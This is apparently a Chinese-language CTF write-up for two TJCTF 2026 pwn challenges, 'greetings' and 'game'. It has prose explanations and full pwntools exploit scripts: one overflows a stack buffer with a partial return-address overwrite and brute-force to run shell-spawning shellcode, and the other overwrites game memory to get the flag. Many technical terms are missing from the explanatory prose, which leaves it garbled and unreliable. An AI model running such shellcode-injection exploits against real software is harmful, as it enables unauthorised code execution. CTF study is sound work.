1125 字
3 分钟
tjctf2026_pwn_greetings_&_game
greetings


然而这里要注意,在栈上搭建之后,我们要把返回地址填成栈上的地址。所以我们需要泄露栈上的地址或者用
jmp rsp这种跳转。然而这题并没有发现jmp rsp,也没办法泄露栈地址。但我们可以发现一个特殊的,它也有jmp,并且跳转的是寄存器rax。

这里还有一个问题是程序开启了,同时输入完后会以结尾,所以当我们覆盖低位的时候其实我们是会覆盖低位地址。不过好在这里的和我们的只有低位不同。返回地址的是
089,是0DF。也因此这里的第位还是需要爆破来实现跳转。(我们覆盖时会直接覆盖个字节00DF)最后一点还要注意生成的汇编里面压栈的操作相对较多,实测时发现这类操作会覆盖掉原本我们写好的的尾部,导致失败,我这里的方法是手动先把拉到离更更远的低地址区域,保证执行的压栈和栈增长操作不会覆盖原来的区域。
from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
LOCAL = './greetings'HOST = ''PORT = 1
#p = remote(HOST, PORT)# gdb.attach(p, '''# ''')
while True: p = process(LOCAL) shellcode = asm('''sub rsp, 0x100''' + shellcraft.sh()) print("shellcode_len:{}".format(len(shellcode)))
payload = flat([ shellcode, b'a' * (72 - len(shellcode)), b'\xDF' ])
p.sendline(b'72') p.send(payload)
try: p.sendline(b'echo shell_success') response = p.recvuntil(b'shell_success', timeout = 1)
if b'shell_success' in response: p.interactive() break except EOFError: p.close() continuegame




0x84 - 0x41,我们需要的覆盖的内容是前面的个字节,(类型)所以应该是偏移量是0x81 - 0x41,然后由于我们输入的字符类型是,所以我们需要查一下对应的,我们发现68 75 6E 74刚好对应,覆盖到位置后直接输入即可。我们成功覆盖之后后续部分我们就按要求输入,然后这个就不会继续向下了。我们一直发送相同的位移,一直执行到怪碰到我们玩家结束游戏,就可以拿到了。
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
LOCAL = './game'HOST = ''PORT = 1
p = process(LOCAL)# gdb.attach(p, '''# ''')
payload =flat([ b'xx\n' * 32, b'hu\n', b'nt\n',])
p.recvuntil(b'(W)est ')p.send(payload)
while(True): p.sendline(b'MW') response = p.recvuntil(b'(W)est ', timeout = 3) if b'flag{' in response: print(response) break else: continue tjctf2026_pwn_greetings_&_game
https://mkrari.cn/posts/tjctf2026/